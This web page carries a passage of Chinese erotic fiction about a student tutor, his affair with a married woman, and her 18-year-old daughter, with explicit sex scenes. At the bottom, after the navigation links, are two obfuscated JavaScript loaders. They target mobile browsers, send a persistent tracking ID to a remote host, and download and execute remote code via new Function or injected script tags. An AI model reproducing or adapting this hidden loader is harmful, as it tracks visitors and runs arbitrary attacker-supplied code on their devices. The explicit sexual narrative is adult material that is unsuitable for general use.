四个月来的接触,我和李娜之间已经很熟了。但是除了上课,我们很少谈别 的事情。“老师,今天上完课到我家吃饭吧?我爸爸回来了,你还没见过我爸爸 呢。他也想见见你呢!”李娜一边脱掉外套,一边从书包里掏出一踏纸递给我。

我正在想着,我总是不好意思去吧,我总觉得见到李娜的爸爸会不自然的。

“去吗?”李娜又一次问我。

“奥!我今天还有事,去不了,不好意思啊!”我说话有些不自然,但是李 娜应该没有觉察出来。“这是什么?”我晃着手里的一踏纸问道。

“我的英语试卷啊!”我们最近又考试了一次,我这次考了全班第五名啊!

李娜不无得意地说。

“那看来我这个英语老师要失业了!”我调侃着。

“那儿能呢!我妈妈说让你一直带到我明年的高考。”李娜灿烂的笑着。

“那是你妈妈的主意,英语成绩都90分了,我看你用不着我教了!”我望 向李娜。脱掉外套的李娜身条显露出来,修长的双腿,胸部也是曲线玲珑,有着 青春少女的活力和朝气。无疑,这是一个青春阳光漂亮的少女。想到刚才的那个 小伙子刘海涛,我不禁笑了笑。

“那下次考试我少考一点,你不还得教我啊?”李娜调皮的望着我。

“好了,我们上课吧!”我又开始回到了正题。

“不嘛!你陪我说说话。老师!你不常说语言要在生活中锻炼吗?为什么非 要一本正经的讲课?以后我们就用英语对话好了。”李娜说着,我们来到了书桌 前坐下。

说了会儿英语,我们就说不下去了。因为高中阶段掌握的词汇量毕竟还是很 少的。于是我们英汉夹杂着对着话。

“老师!你有女朋友吗?我怎么一直没有见过她,也没听你说起过她?”李 娜问我。

“嗯!~ 有!”我一下子又想到了小慧,我的脸色可能有点不好看。我努力 的调整这情绪,幸好李娜没有注意到。

“那你下次上课带她来好吗?我想看看她漂亮吗!”李娜的用请求的神情看 着我,“她叫什么?”

“她叫姜慧秋!她已经毕业了,去了广州。”在我的潜意识里,小慧应该是 去了广州。

“那你放心吗?南方听说很乱的,你不怕……”李娜坏笑着。

“我有什么好怕的!”嘴上这样说着,我的心里有些伤感,是啊,是我伤害 了小慧,小慧还会回来吗?

“那你身边就没有别的女孩子追你吗,老师!你这么优秀!”李娜的眼神里 是真诚的赞赏。“我妈妈经常夸奖你,说你成熟稳重,有男子汉的魄力!”

我的脸变得通红。这次李娜终于发现我的表情。“老师!你脸红什么,不好 意思了?”李娜咯咯的笑着,“老师!我也喜欢成熟一点的!”

“小孩子家,怎么就谈这些呢?”我故意严肃的盯着李娜。

“我可不是小孩子了,老师!我已经18岁了!我高二就开始谈恋爱了,后 来还是我妈妈阻止我们交往,那个男孩子去年考上了大学。”李娜的神情有点淡 淡的伤感,长长的睫毛忽闪着。我不禁也感染了她伤感的气息。

“那刚才的小伙子不是你男朋友吗?”我问道。

“我才不喜欢他呢,太幼稚!是他死气百般的追我,没事儿就拿他开开心, 呵呵!”她呵呵笑着:“老师!我送你一件东西把!”说着,她起身从书包里拿 出一张纸递到我面前。是一张我素描,画得有八九分的神似。

“谢谢!我会珍藏着的!”我小心的把他收入我的公文包里。

时间慢慢的过去,我看了看表,五点半。该下课了。

“李娜!我们今天的课就上到这儿吧!早点回去,你爸爸不是回来了吗!”

我征求李娜的意见。

“我才不稀罕他,除了挣钱,他从不关心我和妈妈!”李娜大大咧咧地说。

“老师!你说,我妈妈离了婚,还能找到对象吗?”她认真的说。

“这个,不好说吧!我也说不清楚,这是大人的事情。”我搪塞道。

“不过,我还是早点回家吧!”李娜收拾好书本,“老师!你呢?”

“我抽颗烟再走,一会儿我锁门吧!”我拿出一支烟,慢慢地点上。

说了声再见,李娜一蹦一跳得走了。

刚才上课的时候我把手机调了静音,拿出手机,我发现有两个未接电话,是 茹姐打来的。还有一条短信:远,今天娜娜的爸爸回来了,我不过去了,路不好 走,你自己就在别墅住吧!我好想你!爱你的茹!

合上手机!我的心理不禁怅然!今晚,茹一定会和她老公做爱吧!想着茹和 我做爱时的风骚和激情,我的心理酸酸的不是滋味儿。望着空荡荡的房间,我再 也呆不下去了!我还是决定回学校,那里还有哥们可以说说话。

冬天天黑的早。走出别墅,暮色四合,雾气弥漫。

回到学校,宿舍里空荡荡的,老三和老五也不知道去了那里。校园里华灯初 上,一对对情侣说笑着、追逐着。不知为何,我今天特别害怕一个人独处,寂寞 像一头野狼啃筮着我不能安心,孤单像一座山压得我喘不过气来。

一个人的走出校园,冬夜里刺骨的寒风吹着面颊,我竖起了风衣的领子。去 吃点什么呢?校园的门口有一家“海派混沌”店,不知道受着什么牵引,我慢慢 的踱进来。原来是我和小慧经常来的地方啊!我坐到挨近窗子的一张小桌,这样 可以看到街上的车来车往。这个位置也是我们经常坐的。

“吃点什么啊?”老板娘热情地招唿着,“好久不来了,怎么今天一个人, 你的小女朋友呢?她可真漂亮啊!”

“老样子!一碗海鲜的,一碗荠菜的!”老板娘诧异地看了我一眼没有说什 么去了吧台。

热腾腾的混沌端上来了,我挑了那碗荠菜的,把海鲜的那碗推倒对面,小慧 爱吃海鲜的。想到这些,我的泪水夺眶而出。

星期一,我感冒了,发着高烧!不知道从哪里学来的理论,感冒吃药两周就 好,不吃药半月痊愈。所以我也懒得吃药。让老三给我请了假,一个人躺床上, 饭也懒得吃。

终于毕业了,我翻看着自己的学位证、毕业证、派遣证,踌躇满志!我的报 道单位是新华社xx分社。

两天两夜火车,我来到单位报道!这里是新华社的一个分支机构,人不多, 但是单位装修豪华、古朴、大气!办公室的一个小丫头小郑带我到去见我们的组 长,据说是一个小姑娘!来到三楼我们组的办公室,我们敲敲了门,门开了, “请进!”一个长发披肩的女孩子正在桌子上埋头写着什么。

“姜组长,你好!这是新分配来的小王,王…”小郑不好意思地望着我,她 还没能记住我的名字。

“王明远!”我走到桌子前面。

组长抬起头,我俩同时愣住了。

“明远!”

“小慧!”

我俩不约而同的喊出对方的名字!惊奇!兴奋!

“原来你们俩认识啊!呵呵,那我走了。”小郑带上门走了。

四目相望,我们都读出了彼此的思念和渴望。我们愣了有两分钟,然后紧紧 地抱在一起。四片嘴唇交一起,舌头和舌头互相纠缠着、吮吸着、舔噬着。

小慧撕开我的衬衣,双手在我的后背上抓着,我感觉到一阵阵的疼痛同时伴 随着兴奋。我把她反转过来,两只手伸进她的上衣里,把乳罩推上去,重重的揉 摸着她的乳房。

“啊!”小慧重重的喘息着。我们一句话也没说。

小慧穿着一件黑色的裙子,那种职业装。我一下把她的裙子掀起来,她经常 爱穿的紫色内裤。她把内裤褪下来踩到了脚下,回过手来为我解开腰带,我的鸡 巴一下子跳出来,龟头上已经分泌出了粘液!

我摸向她下面,已经湿了一大片,柔柔的,滑滑的!我一下子就顶了进去!

我忘情的抽插着,小慧的屁股配合着我前后耸动!我把她放到桌子上,她的 小穴红紫、肥厚、多汁。我欣赏着,她一把拽过我的鸡巴,我又轻轻的一顶插了 进去!

“咚咚咚!咚咚咚!”有人重重的敲着门。我们赶紧的分开!

我激灵打了一个冷颤,差点从床上摔下来。原来是一个梦!我苦笑了一下!

我慵懒的开了门,门外,茹姐站在那里!

之四

一阵敲门声惊醒了我的美梦!

打开门,是茹姐站在门外。我把她让进来,关上门,茹一下扑进我的怀里, “远,你想死我了!我打你的电话怎么关机呢?”

茹姐把脸贴到我的下颚,“呀!你的脸怎么这么烫人啊,是不是病了?”她 又用手摸着我的额头。

“嗯!有点感冒。”我轻轻推开茹姐,趔趄着坐到床上。我感觉到头晕目眩, 站立都有些困难。

“你吃药了吗?”茹姐关心的问。

“没有,抗一抗就过去了。”我苦笑着摇了摇头。

“那怎么能行,走!我陪你去看看。”不容我分说,茹姐把风衣批到我的身 上,然后拽着我来到一家医院。量了体温,医生又看了看我的嗓子,医生告诉我 是病毒性感冒。我一向是最讨厌注射、打点滴之类,所以拿了一些药了事。我要 回学校,茹姐说什么也不同意,说我现在最需要人照顾了。我回学校告诉舍友, 我要到一个朋友那儿住几天。

从学校出来,茹姐说:“我们还是到别墅去吧,李娜周一到周五不去那里的。” 于是我们一起来到了别墅。茹姐安顿我吃了药,然后躺下来。

她问我要不要吃东西,我摇了摇头,我真的是没有胃口。我拉过茹姐让她坐 到床上,我从后面抱住她,她顺势躺下来,我们抱在一起。她爬到我身上,把嘴 唇轻轻的盖住我的嘴,一下子我也把持不住,我们狂热的吻着。我已经忘记了自 己还是一个病人。茹把舌头伸过来,我们的舌搅在一起,互相吮吸。

我的下面已经有了反应,我开始脱茹姐的衣服。

“不行!明远,你感冒了,我们现在不能做。这样你的病回加重的!”茹姐 坚决的坐起来。

“没事的!我想嘛!”我拉着茹姐的手摸向我的下面,我的下面早就硬了, 把裤子顶得老高。我又把茹按倒,压住她。她把手从后面环抱来死死的扣住我。

“不行!明远!别闹了,你真的需要静养!”她把嘴凑到我的耳边小声说: “等你病好了,我好好让你操!况且我今天身上来了。”

想着自己真的病得不轻,欲火慢慢的降了下来。

可能刚吃了感冒药的缘故吧,我迷迷煳煳地睡着了。醒来的时候已是午后, 冬日的太阳隔了窗帘照进来,屋子里暖洋洋的。我身子懒洋洋的,懒得动弹。

“你醒了?”茹姐高兴的来到床前,“你睡了这么长时间,现在一定饿了吧! 我给你做饭去!”说着,茹姐轻快的去了厨房。不一会儿,一碗冒着热气的面条 就做好了,里面还有两个荷包蛋。我也真是饿了,我端着碗“唿噜,唿噜”

的吃着。

茹姐咯咯地笑着,“你慢点吗!没人跟你抢的!”茹姐告诉我她的老公昨天 晚上就已经走了,然后她就打我的电话,可总是关机。她很着急,于是今天早上 就到学校找我,不想我正好在宿舍里。

吃完饭,我轻轻坐起来,我发现头不疼了,也不晕了,看来感冒药是起作用 了。茹姐给我量了体温,烧也退了。这时,我的手机响了,找了半天,茹姐才在 我的西装口袋里掏出来,递给我。号码我不认识。我按了接通键,一个女孩子的 声音,“明远,你是不是病了,我们宿舍的几个人要去看看你呢?”原来是我们 班的学习委员张颖,她们宿舍和我们宿舍是友好宿舍。

“噢!不用了,谢谢啊!我现在在一个朋友家,回头给你打电话吧!真的谢 谢你!”我挂了电话。

我发现茹姐望着我,眼神有点怪,“又交女朋友了吧?你那个小慧呢,不回 来了吗?”

“什么女朋友啊!我们班上的同学!一定是老三这个碎嘴子到处宣扬我病了。” 我把茹姐拉到怀里。

“我都听到了,那么关心你,不是女朋友,也是她喜欢你!”茹姐有了微微 的醋意。

我吻着她的睫毛,“你就是我的女朋友,我的老婆啊!我还找什么女朋友呀?”

“就知道你嘴甜,你怎么会要我这个老太婆?”茹姐眼里泪光闪闪,“你也 就是和我玩玩,等你的小慧回来了,或者你有了女朋友你就不理我了!”她一下 子抱紧了我,好像怕我跑了似的,“远!我好怕你走了!”茹姐开始抽泣。“可 是你终归要离开我的,我可是比你大12岁呢!

望着梨花带雨的茹,我也不知道说什么好了,“茹姐,有你陪着我,我就不 找女朋友了,我就不结婚了!”

“噗嗤!”茹姐破涕为笑了,“说你嘴甜嘛!净来骗我,你怎么可能不恋爱 结婚呢?我也不想你那样!只是我想经常能看到你,即使…即使不和你做爱。”

茹姐不好意思起来。

有茹姐的照顾,两天后我的感冒很快就好了。星期三的晚上我和茹姐在别墅 里疯狂的做爱,直到我的鸡巴再也硬不起来,茹的下面也给我插的狼藉不堪!星 期四的白天我们睡到下午才起床。

吃了点东西我们就抱在一起聊天。

“对了,”茹姐好像想起来什么。

“怎么了?”我问她。

“你的女朋友小慧一直就没和你联系吗?”茹姐一本正经的问我,“我看她 不会再回来了。”

我不知道茹姐怎么突然就问到这些,“嗯!我知道,我已经不想她了。”我 违心地说道。

“真的吗?”茹姐高兴起来。“那我给你介绍一个小女朋友,她很喜欢你啊!”

“被跟我闹了!”我抱紧茹姐。

“我不跟你开玩笑,我说真的呢!”茹姐认真起来。

“我才不要呢,我有你就够了!”我吻她的面颊。

“别傻了,我有老公,又比你大那么多!”茹姐哀怨的说。

“你要给我介绍女朋友,你认识几个女孩子呢?一般的丑八怪可别硬塞给我 啊!”我以调侃的口气说,“我可是要像你一样漂亮多情的女孩子!”

“我知道一般的女孩佩不上你,可是这个女孩应该算上漂亮吧!可是不知道 你喜欢她不?”茹姐看着我的表情。

看这样子茹姐不像在开玩笑了。

“我又没有见到,我怎么知道喜欢不喜欢?”

“你见过的!”茹姐的脸色红红的,费了好大劲才说出来,“李娜!”

我不敢相信自己的耳朵。

“怎么?说呀,你喜欢她吗?”茹姐追问着我。

“这怎么可能?”我自言自语道。

“怎么就不可能?李娜喜欢你啊,她的日记我都看了,每篇日记里都提到你, 女儿的心思妈妈怎么会不知道啊?!”茹姐坐起来背对着我,“我要你回答我。”

我一时陷入了沉默。

“好了!明远!我也不要你现在就回答了,你试着和李娜接触接触。李娜从 16岁那年就开始交男朋友,不过我一直看她比较严,所以也没什么结果!现在 又有男孩子在追她,可她已经爱上你了,你要好好把握阿!”茹姐又躺倒在我的 身边。“你做了李娜的男朋友,你也就是我的女婿了,这样我们就可以永远不用 分开了!”

我惊讶的望着茹姐。

今天是周六,下午在图书馆看了会儿书,我又早早的来到别墅。李娜已经在 那里了。今天的李娜穿着一套校服,脱去校服的她显露出一个女孩的玲珑曲线。

看到李娜,我倒有点不好意思了。

“老师好!”李娜用英语向我打着招唿。

“你好!”我也用英语回应道。

从上一次上课以后,我再给李娜上课的时候,也就不按部就班的讲什么内容 了,我们就用英语交谈,说不下去了,就英汉夹杂。

“老师!你的女朋友呢?她回来过吗?”李娜仰着头问我。

李娜有着一张白皙的鸭蛋脸,小巧的鼻子,长长的睫毛,水晶一样清亮透彻 的眼睛。的确,她是美的!

“老师!”李娜大声地喊我,“你怎么不回答?”

“噢!没回来过,我们,我们约好一年后再见呢!”我这样说着,这一年当 中会有多少的变化啊!

“那你不孤单吗,老师?”李娜追问着。

“我有好多朋友呢!”我盯着李娜,“好了,不谈这个话题了,好吗?”

“不好!”李娜回答的很干脆,“我是想如果你女朋友不在的话,我想你明 天上午陪我玩!”

“好吧!”我不得不答应了,因为明天也正好没事,再者就是我也真的有点 喜欢李娜。

一个难得好天气,没有风,雪色的映衬下,天色湛蓝、透明。

我知道今天的首要任务就是陪着李娜买衣服,取得时候,因为早,车上人不 多!

“我今天不叫你老师了,好吗?”李娜鬼笑着问我。

“好吧!不过,等上课时你还得叫我老师阿!”我故意一本正经的说。

“好吧!”李娜噘着嘴小声嘟哝着,“还挺拿自己当回事儿的!”

我们来到服装市场,这里是一个大型的服装批发市场,也兼零售,以前我也 陪小慧来过这里。李娜看中了一条褐色的裙子,女老板职业性的笑着望着我: “你女朋友真有眼光,这是今年冬天最流行的一款了!”

我笑笑,李娜也正望着我笑呢!

觉得这条裙子不错,李娜要试试。这个铺面没有试衣间,试衣服的时候要扯 起一块布挡住,我这时候踱到了门口,李娜叫住了我,“明远,过来啊!帮我挡 以下。”

我也不好意思,就过去了,虽然是冬天,李娜换衣服的时候里面还穿着毛裤, 但是我仍觉得不好意思。

和老板砍了价,我掏出钱,付了款。我们走出那个店,李娜望着我笑着。

“你笑什么呢?”我问李娜。

“老板都说我是你女朋友了,你又给我买了裙子,那我今天就做你女朋友吧!” 说着,她伸出手挎住我的胳膊。我只能任她这样了,谁让她是一个漂亮的女孩子, 况且我又有些喜欢她呢!

从服装市场回来的时候,车上人很多很挤,早已经没了座位。我抓住扶手, 李娜的一只手拿着衣服,另一只手自然的就抱着我的腰,我们看上去真的像一对 情侣。

因为下午还要上课,于是我们就倒车去别墅。换乘的这个车更挤,李娜就一 直偎在我的怀里,有美女在怀,我也自然的享受着。

之五结局篇

今天给李娜上课的时候,我告诉她,这是春节前的最后一次课了,因为我一 放假就要回老家了。李娜和茹姐都希望我寒假能够留下来,在这里过春节,我还 是谢绝了她们的挽留。我告诉你他们我春节的时候有一个重要的聚会,或许能对 我明年的分配有利。

给李娜上完课,李娜说要送给我一件礼物,“你猜猜看,是什么呢?”李娜 微笑的看着我。

我摇了摇头,“我哪儿猜得出来呢!”

李娜从抽屉里拿出一个包装精美的盒子,递到我的面前,我打开来,原来是 一条领带。

“喜欢吗?”李娜问我!

“太喜欢了!谢谢你,李娜!”我发现这是一条做工和面料都非常精美的领 带。

“来,打上试试!”李娜取出领带替我系到脖子上,可是那个结她怎么也结 不好。

“笨蛋!还是我来吧!”我推开李娜的手。

“不嘛!你才笨蛋呢!”李娜用她的小拳头捶打着我的胸膛。

我用手揽了一下她的腰,她小鸟一样偎进我的怀里,幸福的闭上双眼。她的 睫毛黑亮而修长,脸色微红,我能感觉到她胸膛的起伏。

说真的,李娜是漂亮的,青春的、阳光的。这时候我的眼前飞快的闪过我和 小慧认识的一幕一幕,我第一次吻小慧的时候,也是这样的情景吧。我的眼前又 浮现茹姐那成熟、芬芳的躯体。

李娜睁开眼,不解的望着我。我坐下来,让李娜坐到我的腿上。李娜凑过她 的嘴唇。我的心里真的不知道该怎么办了。

我推开李娜,“我还要去买火车票呢,我得走了!”

“明远哥,你不喜欢我?我不漂亮是吗?”李娜哀怨的望着我。

“不!不是!娜娜你还太小,你还是一个中学生,你还不知道什么是爱。”

我看着李娜。

李娜又一次依进我的怀里,“你根本就没有喜欢过我,是吗?我不如你的女 朋友漂亮,是吗?”大颗大颗的泪滴从她那美丽的面颊上滑落,打湿了我的前胸。

“不!李娜!我喜欢你就象一个老师对学生的爱,或者说一个兄长对妹妹的 爱”我安慰和李娜。

李娜一下挣脱了我的怀抱,飞快的跑出了房间……

这个寒假我之所以要回老家,还有一个重要的原因——我要到小慧的老家去 看看,一定可以打听到小慧的消息吧!

小慧的老家是一个小山城,美丽而宁静。和小慧相处的一年多里,我曾经去 过两次。她的家人对我都很好。

傍晚时分,我终于坐上了到那个小山城的火车,一夜,火车都在崇山峻岭间 驰骋。天色微微发亮的时候,火车终于到站了。走下火车,一阵清冷的风扑面吹 来,我不禁裹紧了大衣。时间尚早,我就在街上吃了早餐。记得小慧的家距离火 车站也就三四站地,所以就懒得坐车了。我的记忆力还不错,很容易就找到了小 慧家的那个小区。

我按了门铃,开门的是小慧的姐姐,“呀!小远!你怎么来了?来,来,来! 快进来!外面很冷吧?”显然,小慧的姐姐小雅认出了我。

“不冷,姐姐!”我站在客厅里。

“快坐啊!我去准备早餐!爸妈去锻炼了,一会儿就回来。”小雅姐不由我 分说就进了厨房。

“我吃过早餐了,姐,你不用准备我的了。”我冲着厨房喊道。

“看你!到了家还在外面吃早餐,怎么这么客气呢?”小雅姐责备道。

这时候门开了,小慧的爸爸妈妈进来了。

“伯父伯母!”我马上站起来跟他们打招唿。

小慧的爸爸看了我一会儿,“哈哈,我想起来了,你是小远,小慧的朋友, 我老了,眼神儿不好使了!老婆子给孩子倒杯水,我去洗洗脸!”说着,他去了 卫生间。

小慧得妈妈坐到我身边,“孩子啊,听小慧说你明年也马上毕业,分配的事 情有着落吗?你小慧都是一个人在外地,你们要相互照顾啊!小慧着孩子任性, 你要多让着她点!”

“我会的,伯母!”看来,小慧没有把我们之间的是告诉家里,我暗暗地松 了口气。

“小慧不是打电话说后天来嘛!怎么今天就回来了?”卫生间里的小慧爸爸 喊道,“疯丫头哪儿去了?”

我不禁竖起了耳朵,什么,小慧后天回来,我可以见到小慧了。“噢!她有 点事,要耽误几天,我就先回来了。”我支吾着。

“那你就玩几天,等着她回来!”小慧妈妈高兴的看着我,“这个寒假不走 了,在这里过春节!”

“那就太好了,就有人陪我老头子喝酒了!”小慧的爸爸从卫生间里走出来。

这两天,小慧的妈妈变着样的给我做好吃的,每晚小慧的爸爸都和我喝几杯。 即便这样,这两天我还是觉得好像是过去了两年甚至更长。

从小雅姐姐那里知道,小慧回来坐和我来时同一个车次。那天我几乎一夜都 没合眼,我在设想着我见到小慧时的种种场景,她该不会不原谅我吧?她的身边 该不会有了另外的男孩吧?

好不容易到了早上,我早早的来到了火车站。我的心情兴奋、紧张,同时还 有点不安。火车是六点半到站,我六点就站在了出站口,每一分每一秒都那么难 熬!火车站售票厅上面的大钟表仿佛是停住了一般。

好不容易等到6点二十九分,我觉得我的心在“砰砰!”的跳着,血往上涌, 脸上热乎乎的,眼前变得有些模煳。我努力的让自己平静。从出站口望进去,火 车终于进站了,下车的人流开始涌向出站口,我努力的在人群中搜寻着。

出站的人流变得稀稀拉拉的时候,一个熟悉的身影出现在我的视线里,还是 那件我给她买的蓝色的风衣,还是披肩的长发,还是提着那个小巧的皮箱,只是 她的


上一篇:东京风俗妇何静的故事1 、22010.7.19更新

下一篇:干妈和干姐干姐的乳汁


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};